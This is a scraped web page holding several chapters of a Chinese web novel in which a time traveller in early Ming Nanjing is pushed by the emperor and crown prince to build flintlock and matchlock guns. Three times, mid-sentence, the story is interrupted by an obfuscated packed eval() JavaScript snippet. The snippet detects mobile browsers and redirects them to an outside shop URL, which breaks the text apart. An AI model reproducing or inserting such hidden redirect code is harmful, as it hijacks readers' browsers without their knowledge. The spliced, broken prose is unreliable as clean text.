而突然出现的两人,是结结实实吓了朱安宁一个踉跄,同时也是让他哭笑不得。 “伍爷好久不见,伍哥你也来了……是小燕连夜回去跟你们说了燧发枪的事?” 看到这几个人,朱安宁又不是有脑疾的什么败家子,自然是一下就想通了来龙去脉。 然后他又补了一句:“怕不是太子爷也知道了,才会有……”他指了指这个蒯富率领的施工队,想确认一下。 “对,太子已经知道了,洪武爷也知道了,他们的旨意很简单,造,一定要造出来,不管用什么方法,造出来!”朱标说话的声音不大,音调却是兴奋异常。 昨夜朱棣冲回宫里,不由分说就抓着他去见朱元璋。 然后像个颠佬一样在殿里疯狂比划火绳枪和燧发枪是什么东西。 本来朱元璋是一脸怒容,毕竟这朱老四这次忒没礼数了点,抓着自己就说有事要奏,奏什么?这么急?揍朱棣他倒是没意见! 结果朱棣越说,朱元璋和朱标就越绷不住。 这是什么天才想法?! 这是什么天才想法?! 这绝对可以转变战争的形式。 特别是朱元璋,他从自己的龙椅上冲了下去,直直地站到了朱棣的面前大吼。 【老四!火枪呢?那燧发枪呢?快给我看看!没有燧发枪,火绳枪也行!!!】 * 所以,才有了今天的事情。 朱安宁听完了朱标的话语,那是一阵眩晕。 有一种以前还在上班时,领导突然给了一个极其脑瘫的任务的那种感觉。 顺便还要拍拍肩膀,露出爽朗笑容,说,我看好你哟之类的既视感。 他很快就恼火了起来。 揉着自己太阳穴,试图压下这种突突突头疼感的朱安宁,焦躁地踱了几步。 然后才开口说话。 “不是,你们讲点道理啊,这造燧发枪啊,不是造锄头,造铲子,这是火枪,砰,一枪过去可以打死一里地外的人,的火枪!” 朱安宁说得声嘶力竭。 朱元璋却越听越兴奋。 他直接一把薅住朱安宁的肩膀,疯狂地摇了起来。 “一里地?能打死一里地外的人?!!” 其实不止是朱元璋,朱标和朱棣的眼睛也都亮了起来。 不说别的,今儿这三人的疯魔状态是吓到了朱安宁的。 他一下就把语气软了下去,但是还是犟着说道:“你们的注意力能不能放在我的前半句上面,燧发枪!它不好造啊……” “所以太子已经做好准备在这里冶铁了啊。” 朱标说得很是理所当然。 朱安宁无言地看了眼热火朝天的施工场地。 是差点一口气没噎住。 “洪武爷也都知道了对不对,所以你们爷三有没想过一件很重要的事情。” “嗯?什么事?” “呼……要是最后造不出来,或者造出来很一般,会有什么后果?” “会有什么后果?”朱元璋像捧哏似地接了话。 “以洪武爷的性格,保不准我这一个院子的人,都要被他砍喽……”朱安宁是真的长长地叹了口气,只觉得伍爷这一家三口是不是有脑疾啊。 “洪武爷会这么残暴?”朱元璋语气立马不喜起来。 “他杀人少啊?每次杀人,那人家家里的蚯蚓都竖着劈,鸡宰了连蛋黄都给你摇匀那种!” “你!”听见朱安宁的评价,朱元璋的手指是立马伸了出来。 幸好最后还是朱标把他按了下去。 “安宁小弟你放心吧,我已经与太子说过的了,这不过是一些构想,无论实现与否,我们尽量试试就好,主要是这燧发枪,实在是太过吸引人了啊!” 朱标这一番话就有用多了。 朱安宁也不再那么激动,而是颓然地坐到了一块石头边上。 囔囔地说道。 “你们谁会炼铁嘛……” “朱哥你不会?”朱棣此时也是接上了话。 虽然对朱安宁有点抱歉,但是朱棣还是对燧发枪无比渴望的。 “我会你的个头啊,我什么都得会是吧,还得天天给你们这群鸟人做饭。”朱安宁本来是心情平复的了,被朱棣这么一激,马上跳了起来,劈头盖脸地骂道。 “但是你不是说有些研究么……” “我……我……哎,算了算了,伍哥,反正我也算是东宫的人了……” 朱安宁又是一口叹气,说道。 他是真的怕朱元璋怪罪下来,而现在唯一能做的就是紧抱性格还算好的朱标了…… 他继续说了下去:“能不能带话给太子……再怎么地也派些工部懂得冶铁,造枪的人过来吧,真依靠我的话,我连锄头都造不出来啊……” 工部有人帮忙,来几个能造火枪的,至少能造几根枪管出来吧…… “嗯,有道理,太子的旨意下得急,我们也是考虑欠缺了,晚些我就上奏让工部派人过来协助。” “对了,伍哥,应天府附近有铁矿?” 朱安宁又猛地想到一个新问题。 “有的,只是产量一般,质量也不如广东那边的。” “行,有材料就还行……给多点材料慢慢试吧……” 朱安宁已经不想挣扎了,试就试吧…… 把自己电脑里高炉的改良幸好打印出来……这工部的人看得懂就造,看不懂就大家一起被砍头,黄泉路也有个伴是吧。 完了高炉材料的改进也是个大问题。 还有南京这边的铁矿石是什么级别的。 感觉现代好像不是很有名啊…… 他嚎了两声,把头发挠得越来越乱。 “麻的,领了个东宫的九品芝麻官,摊上这么个大事,能不能给我升个官,发多点俸禄啊!” 他仅仅是在抒发自己的不满而已。 朱标确实听在了耳中。 这……他不排斥做官了? 某人站在后面开始若有所思。 而朱元璋大手一挥,他才不管事情有多难。 他又不需要尊重科学规律。 让懂的人去尊重就好啦! 现在看来朱安宁同志是懂的,好的,这个重任非他莫属! “安宁小弟,这事就交给你了。我大明的未来,一片大好哇!” 朱元璋,化身成了领导模样,拍了拍朱安宁的肩膀。 甚至,连饼,都没给小朱同学,画。 ————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378739|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——— 石膏矿上。 成梁正在清点近期产出的矿产。 自从脱离蓝家后,真就没有人找过他的麻烦。 而他也就兢兢业业地在这矿里,忙活了一段时间。 他是知恩图报的,既然朱安宁交代了这事,他必须要办好。 账目对上,他也是长舒了一口气。 而远处,几个挖石膏矿的矿工的聊天,却引起了他的注意。 几人是轮换出来休息的。 石膏矿的工作强度其实并不大,所以几人也还有力气在那说东说西。 “哎,还是石膏矿舒服,前些年挖那个城西的铁矿,真就是累个半死,工钱还没这边厚道。” “嘿,也就是成爷过来了才变得厚道好么,之前这矿属于蓝家的时候可没见你说厚道。” “不过那铁矿啊,迟早要出事,嘿嘿。” “怎么说?” “你是不知道,铁这东西,造兵器和造咱们铁锅,要求是完全不一样的。” “这不是废话么。” “我们在那挖铁时啊,都知道,明明应该是供官家的铁矿,却经常被管事的放民用的进去……你们懂么。” “唉哟,这些个管事,不怕杀头啊?” “应天府又不用打仗,咱们京城的兵老爷们只要不打仗,那些有问题的刀啊剑啊就不会被发现,怕个逑,官老爷们先贪够了 再说。” “不是管事么,怎么又扯上官老爷了?” “你们是不是傻,没官老爷默许,这些事能办成?” “有道理有道理……” “所以啊,我是知道这事后,立马就开溜啦。” “嗯?怎么个说法?” “嘿,那些黑心老爷,哪天事发了,把我抓上去顶包怎么办……” “你小子倒是激灵。” “世道不好,不机灵……嗯?成管事!”那滔滔不绝说着话的人,也终于是发现了成梁一直在那偷听,不免紧张了起来。 虽说成梁对他们比较厚道,但是始终是习惯了上下尊卑。 几人那是一下就汗流浃背。 而成梁也是觉得有点好笑。 “那么紧张干嘛……不过啊,你们说着些腌臜事啊,可别去应天府大街上乱说,天知道路上是不是有那个官爷家的家仆或者孩儿,到时把你们逮了,我可救不了,哈哈。” 他一边说着一边用手上的账本拍了拍几个人的后背。 总算是舒缓了那几人的紧张。 只见刚才一直在说话那人,是直接笑了起来。 “成爷说笑了,这种东西也就是在这里嚼舌根,跑外面去说,我不怕死啊,哈哈哈。” “就是就是。” 几人也附和了起来。 “好啦好啦,知道就行。” 成梁笑了笑,知道自己的警告还是有些用的。 正想准备离开。 只见一名矿工是突然开了口。 “对了成爷,咱们挖出来这么多石膏,也没怎么见往外运过啊,都堆在这里,虽然放不坏,但是……” “但是也快没地方堆了是吧。” 只见高大的汉子,笑了笑,回道:“今儿我就运走一些。” “运去哪儿啊?”那矿工也是好奇了起来。 “多嘴,成爷办事,你问个不停……”而刚才一直在说话的矿工连忙想打断那好奇的矿工。 成梁却也没有在意,他哈哈一笑:“这又不是什么秘密,咱们这矿是永乐庄庄主的。” “诶,对的。” “所以,自然是运往永乐庄咯,今儿啊,这是第一批。” 他摸了摸手中的账本,又看了眼不远处打包好的石膏。 估了下时辰,知道差不多应该要出发。 不然,怕不是赶不上去庄里卸货。 而刚才几个矿工说的事情。 他并没有左右耳进右耳出。 对矿工而言是嚼舌头的东西。 但是对他而言,这件事情……可就有点意思了。 官家的铁都敢换……是谁那么大胆。 不要命了? 笑着摇了摇头的成梁,没走两步,却突然停下了身子。 高大的汉子,皱起了眉头。 似在思索什么东西。 他依稀记得,之前在蓝家时,好像有传言……说那个蓝染,觉得矿石的生意好做,去了城西那边找人商量了不知道什么事情。 第一百三十六章 新式火器有什么好的?有我火枪好用? “朱哥,吃什么?” “酱油捞饭!” “鸡蛋都没了?!” “自己摊!” “呃……” “呃你个屁,居然出卖你朱哥我!有意见自己做!” “这哪是出卖……” 朱安宁和朱棣吵吵了两句。 而在一旁哼哧哼哧给实验田抓虫的李景隆,却突然被朱棣Q了一下。 “三江!你来做饭!” 随之而来的,还有一巴掌,扇到了他的背后。 “啊?” 李九江同学一脸无辜,手里还拿着一条大青虫。 “我做饭?四哥你之前不是说吃猪食都不吃我做的么……” “啰嗦!那你想吃阿廌做的还是阿畾做的嘛!” “我做我做……”两人,同时想起了那连猪食都不如的,流质的、姑且还能算得上是食物的,不明东西……不由得,打了个冷战…… 而朱安宁现在哪顾得上他们,他说完话,就钻进了车里。 一脸黑地画出了改良型高炉的图解,网络图片版的那种…… 他也没有多少手段可以去对比是否正确。 唯一能用的就是天工开物…… 大差不差就行……了吧…… 然后,他开始了摆烂时间。 因为接下来的问题,他基本难以入手。 比如他知道耐火砖需要的是高岭土……他这个天坑生态工程好歹是学过土壤的,也知道这东西就在景德镇,随便挖。 但是具体怎么烧制…… 呵呵,用火烧就行了?他也不懂啊…… 然后炉温需要煤炭才能提到1600度……哪里的煤炭合适,总不能随便挖点煤就上吧。 要是含硫量太高,没开两枪就崩了。 那自己的命估计也要崩…… 奶奶的,千算万算,本来不打算和朱八八扯上关系的。 怎么突然就来事了呢。 朱安宁现在有点想下车和那伍燕皇城pk。 但是想了想之前打架那伍燕的表现,自己被原地打飞三周半应该是没问题,想来还是不要挑战人体极限…… 这股郁闷的气息,就只能这样憋在了心里。 而和朱安宁一样憋了一肚子火的还有工部侍郎赵集,他一大早就听闻了自己手下一大批工匠被抽调到了永乐庄,完了刚想去问问什么情况。 就被太子叫到了宫中。 他年不过四十,正是最有干劲的时候。 他恼火的原因很简单,这批工匠,未来是要抽调到去修水利的啊! 前段时间上位丢了几张惊为天人的水利相关给他。 他们工部研究了好些时间,最后的结论是,写这文章的人极为了解自己工部,简直就像是什么前工部大员……不……说不定是更厉害的角色,总之著者思路极其超前。 再配上那些详尽的图纸……简直就如同天上降神仙……自己按图办事就对了。 对于这等神仙,他们工部自然是想要知道究竟是谁。结果暗搓搓打听了一大轮,也没能发现究竟是谁所著,最后也只能作罢。 而按图纸办事修水利,很快就被他们提上日程,没办法,他们工部兼管农事,这几年因为干旱,土地大规模歉收,自己的脑袋也跟着那粮食产量有点不太稳当的感觉。 整个工部目前最上下一心的事情,就是赶紧把水利给弄好来。 救一救那些农民,也救一救自己…… 结果,他好不容易凑了一拨人,正准备开拔。 睡了一觉,人全部调走了。 没有气血攻心直接背过气去,也是亏得他还不算年纪大…… 而后他刚穿好官服,就得到了第二个消息。 他虞衡清吏司下属管窑冶的得力干将……也被抽走了……那是造火枪的人啊…… 所以,现在站在朱标面前的是。 血压高达168Hgmm,多巴胺肾上腺素甲状腺激素拉满的赵集。 要不是打太子要掉脑袋,他现在已经上去就是邦邦两拳了。 朱标是看出了赵集的状态,也是有些不忍…… 毕竟水利和窑冶一事,是一直他在跟进的,知道户部的人最近有多难顶。 “赵大人,你先坐……” “太子殿下,臣暂时坐不下去。” 赵集的脸,黑得跟块煤似的。 就犟着脖子站在那里。 朱标是知道必须要解释下的了,这赵集还算是他比较信任的官员,是上次恩科上来的,他也见过。 不同于一般的浙东派和淮西派,他是难得的北人,性子虽直,但是却是难得的没什么裙带关系。 所以朱标和朱元璋一直都会让他处理工部里比较机要的事务。 “赵大人,不愿坐我就与你一同站着说吧。”朱标笑了笑,没有再勉强他。 却也是同时站了起来,走到了他的身旁。 朱标的这副样子终于是让脑血压过高的赵集清醒了些…… “太子殿下……”他唤了声。 然后朱标却做了个下压的手势,示意他听自己说。 “赵大人,你在工部一直都是负 责虞衡清吏司下的火器局,对吧。” “多得陛下和殿下赏识,臣自从进入工部以来,确实一直负责的是火器一事……” 其实赵集回答的多少有点莫名其妙。 这差不多是朝廷里都知道的事情,何必又强调一遍呢? 当然他的迷糊只持续了很短的时间。 能在老朱手下干得久,且不是淮西出身的,察言观色都是有两把刷子的。 赵集想了想早上调动的人手,立马就有了些想法。 “殿下,莫非是咱们要提高火器的产量了?这事可急不得啊……须知道……”他立马又急了起来,他掌管火器那么些年,一直稳扎稳打,就是想让火器的质量高一些,一个熟练的工匠,一年搓出来的枪管可是有限的,一旦急了,火器的使用寿命就会大打折扣,这是他不愿意看到的。 一看赵集又急了,朱标也是有点无奈了,他只好打断了对方的话语,想把话题导回正轨。 “赵大人,不要急不要急……我们没有说要提高火器的产量,只是有人提出了一些新火器的设想,我们抽调些人过去,想看看是否能造出这新式火器。” “新式火器?”赵集一听这说法,倒是没有再急急急了。 他只是有点想笑。 什么新式火器。 他都对着那群工匠多少年了。 天天看他们铸枪管,火器还能玩出什么花来呢? 难道不是保证火器的稳定性,才是最重要的么? 见赵集没有继续说话,朱标也就继续说了下去。 “造火器,涉及到方方面面,而虞衡清吏司里最熟悉整个流程的就是赵大人您了……”朱标看了看赵集,继续说了下去:“所以我和父皇,都希望你也能和匠人们一起,帮忙把这个新式火器造出来。当然了,提出新式火器的那个人,也已经在那边了。” 这提出想法的人也在那边? 虽然赵集对所谓的新式火器不是很感冒,但是出于对朱标的尊重,他还是问了问提出者的籍贯。 江南向来是有大工匠的,而要说现在铁矿质量较好的地方,则是广东,所以他也就往这两个地方猜去。 “刚问是广东那边的大工匠还是江苏的……” 这两地也有造火器的官制,所以能提出改良的说法,还不算意外。 但是出乎他意料的是,太子居然摇了摇头。 这意味着他的猜想落空了。 这让他不由得皱起了眉头。 “都不是,这人啊……呃,只是我东宫这边一个赞读而已。” “赞读?” 这职位不算是什么大众官位,所以就算是朝廷官员的赵集也是一时有些懵逼。 直到过了不知道多久。 他才在脑袋中检索出这个职位的品级和职务…… 九品……就是陪读啊…… 这下赵集是终于绷不住了。 “刚问太子殿下,一个小小赞读提出的想法,我们就要举全司之力去试上一试,是否过于儿戏!” 这话说得可不算轻,要知道朱标的地位在洪武朝可是很高的。 而这赵集却是毫不忌讳,多少有点头铁的意味。 只是朱标也不恼,这赵集他又不是不知道。 只见他连忙安抚了两句:“赵大人,此时,我与陛下都知晓,那赞读名朱安宁,是个能人,你且过去和他会一会便知。” 朱标这话说完,便直直地看着赵集。 赵集虽然恼火,确实也是一时之间找不出什么话反驳。 过了半晌,他也只能行了个礼。 准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378740|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退下。 “那太子殿下,臣先告退,就且去那永乐庄,看一看朱赞读朱大人,是有什么妙计不成!”他这话说得很是大声。 多少带了点怒火。 而远在永乐庄的朱安宁,哪能知道这些东西。 现在的他,正蹲在院外的施工场地那里,愁眉苦脸。 他身边,正站着一个老熟人。 是给他造房子的蒯富。 “蒯叔,没想到是你们来造这铁冶啊。” “我们本就是匠籍的人,朝廷会给我们指派任务,当然啦,如果是闲时,我们也能自己揽工作,比如您的院子。” “哦哦哦。”朱安宁有一搭没一搭地和蒯富说着话。 “对了,蒯叔,你们是造房子的,那现在造这铁冶,没问题?” “高炉这东西,以前在江苏就造过,也不是多难的事情。” 听见蒯富的回答,朱安宁的眼睛猛地就亮了起来。 他受限于现代的思想,老是觉得古代人应该也是专才。 但是现在来看,一行里面,还是有些全才的。 比如这蒯富,能这么轻描淡写的说出这样的话,应该还是有点东西的。 他便也是连忙开口发问。 “那蒯叔,我能问点问题么。” “朱大人但说无妨。” “嗯,你们知道……” “嗯,开拔前,太子殿下已经跟我们说了,来到永乐庄,一切以赞读朱安宁朱大人的指令为重。”只见蒯富行了个礼,眼中也是闪了些光芒。 果然没 看错,这姓朱啊,就是不一般,这赞读说是个小官,但是可是太子身边的重要人物啊。 自己果然没看错,蒯富在心里赞扬了一下自己。 朱安宁却也没想那么多。 被别人知道自己是赞读就知道呗,又不是什么见不得人的官位。 “哎,那我想问一下,这高岭土,您知道么?” 他直接开问,试图快速解决问题。 “高岭土?当然知道啊。” “那我们现在做高炉的土是这个土么?” “不是。” “为什么啊?” “啊?” 这几句话,属实是把蒯富更整得有点懵。 他到现在都还没能听懂朱安宁究竟想问些什么。 而朱安宁却已经像是下定了什么决心似的,突然站了起来。 “蒯叔,我这高炉,必须要用高岭土做,而且需要备多些高岭土过来!” 他不知道高岭土的配比具体是多少。 他只知道好像是铝含量越多越耐烧。 但是现在又没有测量仪器。 所以,他的打算是,一个个炉子试过去。 而蒯富哪知道朱安宁的想法,他就纯粹是一脸懵。 而太子是说过的,以朱安宁的说法为准。 所以他也是很醒目地叫停了现场的工作。 一群人的目光都集中到了朱安宁的身上。 “各位,我说个事,除了高炉以外,其他东西都可以造,高炉的制造,需要待我向蒯哥确定后,再施工。” 他的话说得言简意赅。 于是现场很快又恢复了吵闹。 只见朱安宁径直走到了蒯富身前。 掏出了一张宣纸。 上面画的,正是改良型的高炉。 “蒯叔,你看这个,能不能造?” 蒯富没有第一时间回答朱安宁的问题。 他被那图纸吸引了全部的注意力。 但是不多时,他眉头就紧皱了起来。 “朱大人,小的不是很看得懂这所谓的夹层是什么意思……以及这么精密的设计,再加高炉这么高的温度,好像不太对劲的样子。” 蒯富一边说,一边指了指几个关键位置。 一下就让朱安宁汗流浃背起来。 那正是,需要用现代材料去堆砌的地方…… 而他……哪知道要用什么去代替嘛。 “那个……蒯叔,你看看能不能就找点材料去替代?这炉子,我也就看个大概……” 朱安宁对蒯富是寄予了厚望,毕竟他的后代可是大牛啊,四舍五入,他也应该是大牛才对。 结果。 令他失望的事情,发生了。 只见蒯富,苦笑着,摇了摇头。 第一百三十七章 晚些我就上奏,砍了这妖言惑众的朱赞读 蒯富明确拒绝了朱安宁的要求。 虽说他是工匠,而且是熟手的工匠。 像高炉这种东西,其实官家要用,民用的也不是没有。 明初铁器并未说太过严格,还是有民铁存在的。 但是,朱安宁这图纸展示的结构,熟悉之余又很是奇怪。 蒯富也不敢打包票。 特别是,这高度…… 怎么看都比自己之前造的要高…… 这意味着,这火力会更猛??? 蒯富是不敢冒这个险答应下来的…… 太子要求的是听朱安宁的话。 但是朱安宁这个要求就有点不一般了……他更怕答应了没造出来或者造出来出事了,这乐子就大了。 看着拒绝自己的蒯富,朱安宁也很是无奈。 他也不敢强迫别人。 毕竟他也知道自己这图纸有多坑。 其实他还有其他图纸的,比如天工开物里面就有现成的。 但是他就是想试试能不能直接一步到位,整个牛逼点的高炉。 火器的发展,太受钢材的限制了,而钢材的质量,除了原材料铁矿石的影响外,最大的不定因素就是高炉的情况了。 “蒯叔,就一点希望也没有?” “哎,朱爷,不是我不能,而是不敢啊……高炉一旦有问题,那可能是要出人命的啊,这这么烫的东西……” “好吧……” 朱安宁听罢,那也是只能颓然地坐到了一边。 而就在他唉声叹气的时候。 虞衡清吏司的赵集,赵大人,已经来到了这永乐庄里。 他穿的是常服。 因为朱标交代过,这新式火器的开发,虽然是瞒不住所有人的,但是还是低调些啊。 “咦……这庄子,还能种菜?居然整个庄的田地都通了渠?!” 虽然他监管的是火器制造,但是作为工部侍郎,他对农业也是相当熟悉。 所以当他看到这永乐庄的田地的时候,那是露出了惊讶的目光。 “就是怎么这稻才长这么高……播种时间太晚了?……哦,对了,这个庄子的农户应该都是逃难过来的……” 他在绕过那棵歪脖子树。 还在想着事情,几个驿站的卫兵却突然拦下了他。 “嚯,这驿站都建好了,真快……”他惊叹地看了眼那崭新的驿所,自然而然地认为是为了守护铁冶而建的。 他也没有啰嗦,直接亮了自己的身份。 几个卫兵很快就放了他通过。 于是顺着乡道走了几步,他便也是看到了热火朝天的现场。 以及在那颓然叹气的朱安宁。 他能看到别人,别人也一下就发现了他,工部侍郎可不是什么小官,他赵集算起来可是尚书以下的工部第二把手,实打实的正三品高官。 那铁冶工地里的一众工匠和他手下的主事官员,一见到他,立马全停下了手里的活。 纷纷向他行礼。 “见过赵大人!” “赵大人!” 原本就隶属虞衡清吏司的几个官吏,更是直接凑到了他面前才行的礼。 这阵仗自然是惊到了坐在石头上唉声叹气的朱安宁。 他一脸茫然地看向了众人目光聚集之地,那里站着赵集。 “赵大人?” 大概就是伍文说的,求太子派过来主事的官员? 一念至此,他也连忙走到了那人身前,学着那几个小官吏的样子作揖。 “见过赵大人。” 几个官吏见朱安宁凑过来,也是不敢有什么动作。 其实早前被朱标和朱元璋领着过来时,就听朱标说过了,这朱安宁只是个九品赞读而已…… 但是看今早他和燕王太子以及陛下说话的模样……这能他妈的是正常的九品? 九品私生子是吧! 所以一个早上,朱安宁没有唤他们,他们连凑过去的胆量都没,虽然他们都是六品的官,按照品级来算,也不算是小卡拉米了……但是能和大佬们横眉竖眼的人,他们自觉自己这六品还是不够看的…… 而赵集,他就有点郁闷了。 什么情况? 能过来和自己打招呼的,应该就是那个朱安宁朱赞读了吧。 太子殿下不是说了他就是改良火器的人么? 就这么年轻? 不是开玩笑吧??? 一念至此,赵集的脸就更黑了。 他本来就是个急躁的人,那不喜的表情,直接就堆在了脸上。 “你就是朱赞读朱大人对吧。”赵集他可没有见到过今早朱安宁和朱标他们说话的样子,所以也就当这朱安宁是太子门下新招揽的红人罢了,怕不是说了什么不着调的大话,诓骗了太子和陛下…… 给自己整了这出破事。 手下的工匠和造火器的人,大半都被弄来了这里。 这不是扯淡么! “是的,在下就是朱安宁,赵大人也从太子殿下那边听了情况了吧。” 由于朱安宁是低头作揖,也没看到赵集的脸色。 他只想着终于来了个管事且懂行的了。 看下能不能有点挽救空间。 而赵集听着对方上来好像就要聊一聊,便厌烦地挥了挥手,把那几个主事先打发走掉。 场中就剩下了朱安宁和赵集两人。 这让抬起头的朱安宁是一脸懵。 刚才还一圈人呢。 都跑了? “朱大人,我就不绕圈子了,我不知道你和太子说了什么,火器这种东西,我已经研究过许多年了,不是说改就改的,就如同祖宗之法……” 赵集也很是直接。 他想快点让朱安宁知难而退,趁现在铁冶才刚刚开始建设,早点叫停,早点把人抽调回水利和虞衡清吏司已经建好的铁冶那边。 这才是正事。 结果他看见朱安宁的眼睛,那是一下就亮了起来。 没错,朱安宁选择性地听取到了,研究过许多年这几个字。 太子还是好人啊,派了个真大佬过来? “赵大人!赵大人你且等等,我回屋取点东西!” 话刚说完,朱安宁便转身一溜小跑往院子跑去。 留下了愣在那里的赵集。 于是,赵集的血压又高了起来。 这…… 这九品赞读,也忒没礼貌了吧?! 必须要快点揭穿他的把戏,早日让太子和陛下回心转意,然后再参这朱赞读一本! 不过三品参九品……是不是有点掉份啊…… 看赵集在那脸憋得黑红。 蒯富有点不明所以。 他现在并无官职,这是匠籍的限定……但是作为大工匠,其实他的地位其实并不算特别低,和赵集这种工部大官,私下还是有点交流的。 刚才是下官拜见上官,他自然不好凑过去。 现在好了,人都散了,他自然得以过去打个招呼。 “赵大人,我就想到太子应该会找你来。” 蒯富哈哈一笑,和赵集站到了一起。 而此时赵集也总算是注意到了蒯富的存在,便也是颔首点了点头,眉头却也是皱得更深:“蒯师傅,你也在此?看来陛下和太子真的很重视啊……” 师傅是尊称,赵集这人虽然是急急国王,但是对工匠还是态度较为好的,更何况蒯富这种名匠。 两人一起共事的次数也不算少,所以他和蒯富说话也是相当直接。 “铁冶,火器,这可不是开玩笑的东西啊。” “太子也与你说了?” “当然,不说我怎么造……” “也是……” “不过你们先停一停吧,蒯师傅。” “嗯?又停?” “火器,你当真觉得是能随便改良的东西?真是荒唐,宋制到此,元沿用,咱们也沿用,这火器已经定了,就该是这个样子!他还能折腾出一朵花来?我看啊,这朱安宁就是个靠说大话,扯犊子,来换官位的混蛋!一会待我戳穿他,咱们的人立马打道回府,几处水利就等着大家伙去修葺,怎么能在这里浪费时间!!!” 他说得吹胡子瞪眼,让蒯富一阵愣神。 朱安宁是说大话,扯犊子的人? 那踏马的那些营造图纸是怎么回事。 看来这老赵对朱安宁是有些误解啊。 这朱安宁朱庄主可不是什么胡说八道的家伙,他是真有本事的啊! 看着赵集的态度,蒯富是一下就慌了神。 看来是有误会。 别一会惹出什么大乱子来。 毕竟太子是千叮咛万嘱咐自己。 “赵大人……”他刚想说些什么,却见院门口,朱安宁扯着一张纸,就冲了出来。 朱安宁看见蒯富在,他也没有忌讳。 直接把图纸摊开到了石头上。 “赵大人,既然你是太子殿下派来管事的,那想必是火器的专家了。” 只见朱安宁在自顾自地说着话,也没有管两人的表情。 他继续说了下去。 “我先说一下,新式火器其实有两款,一种叫燧发枪,这个虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378741|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很牛逼……嗯,很厉害,但是实际上应该是很难造的……” 弹簧钢啊! 拿头去炼啊。 朱安宁是牙都快咬碎了。 这伍燕真他娘的什么都敢和他大哥说啊…… 他大哥更虎,都不和自己确定下,就和太子说了。 这个年代造燧发枪和造奇观有什么区别! 奇观误国啊!!! 赵集一听朱安宁的说法。 便不齿地笑了起来,连朱安宁摊开的图纸都懒得去看。 果不其然,自己没来之前,他肯定是在太子和陛下面前大吹特吹。 而现在自己来了,知道自己是火器方面的专家,怕露底,就直接说造不出,给自己找补了是吧。 这种狗东西!必须要上奏,砍了! 不然这种人越来越多,大明还能好? 背手站在那里的赵集,已经准备好了看笑话的打算。 他还想听听这朱赞读还有什么狡辩的说法。 “燧发枪是难造的,但是改良现在的火枪,做火绳枪,你也可以叫鸟铳!那是相对简单很多很多的。两位请看这里……” 朱安宁指了指那图纸。 上面是来自于宋大人《天工开物》的火枪图。 这鸟铳图,是画得清清楚楚。 零部件什么的,事无巨细都有解释。 毕竟明中后期,这鸟铳是有在军营内使用的武器……当然了,因为各种各样的原因,普及率应该不足10% “鸟铳?”赵集摇了摇头,什么鸟名字,听着就膈应,能和自己的火铳比? 他刚想跟蒯富调笑两句,嘲讽一下这朱赞读。 却没想到,蒯富已经快要趴到那图纸上去。 虽然蒯富不算是什么火器制造的专家,但是眼力见还是有的。 枪管、火药池、枪机、准星、枪柄…… 这些部件,组装起来的鸟铳,仅看图纸,蒯富便生出了一种源自心灵深处的惊叹感。 “朱大人,如果我没猜错的话,这鸟铳,最精妙的地方,是这个火绳吧……” “哈哈,蒯叔好眼光,正是!有了这火绳,便不用再像火器那样凡射击必要点火,携带起来也方便许多!” “太厉害了……真的太厉害了!但是这枪管是如何造到如此细长的?不对啊,咱们的火器应该要更短粗些才对吧。” “蒯叔,细则弹丸威力更大!一百五十步外都可取人性命啊。” 两人在你来我往。 而本来在看笑话的赵集,终于在某个数字出来后,直接就绷不住了。 “多少?你说多少?一百五十步???” 这个数字,给赵集带来了极大的震撼。 他下意识地认为是假的。 毕竟明初的火枪,撑死也就五十步。 说的难听的,就是近战武器。 离远了……那甚至不如某些弓弩…… 所以这一百五十步的射程一说出来,赵集不得不把目光看向图纸。 然后,他便沉沦了。 这精美的构造是怎么回事。 这细长的枪管,还有火药池,想都不用想,射出的弹丸威力肯定巨大! 简直就不像是这个时代的产物。 朱安宁看着趴在石头边上,甚至顾不得自己衣摆已经沾上泥土的两人。 那是终于松了口气。 有戏啊! 看来这赵大人是有点东西的,他能看懂宋应星的天工开物。 也多亏老宋,画图那叫一个细致,什么东西都画的清清楚楚。 才让他敢大胆地掏出来给别人看。 要是只有一张成品图,给他十个胆子他也不敢说能造。 朱安宁在此之前,那是相当忐忑的,他就怕像他掏出新式高炉图纸那般,蒯富一口回绝。 万一他把鸟铳掏出来,这赵大人也说不行的话。 那他就只能试着开房车开始跑路了…… 总不能留在这里等老朱上门给自己脖子拉一刀吧…… 朱安宁摸了摸自己的脖子,一阵发凉。 “朱大人!朱大人!此物……此物!真是你想出来的?!!这构造,完全是可行的啊,这就是火绳枪对吧!哎火绳枪也好,鸟铳也罢,这真就是神兵利器啊!” 赵集,血压又高了,这次是,激动的,让他多少有些语无伦次。 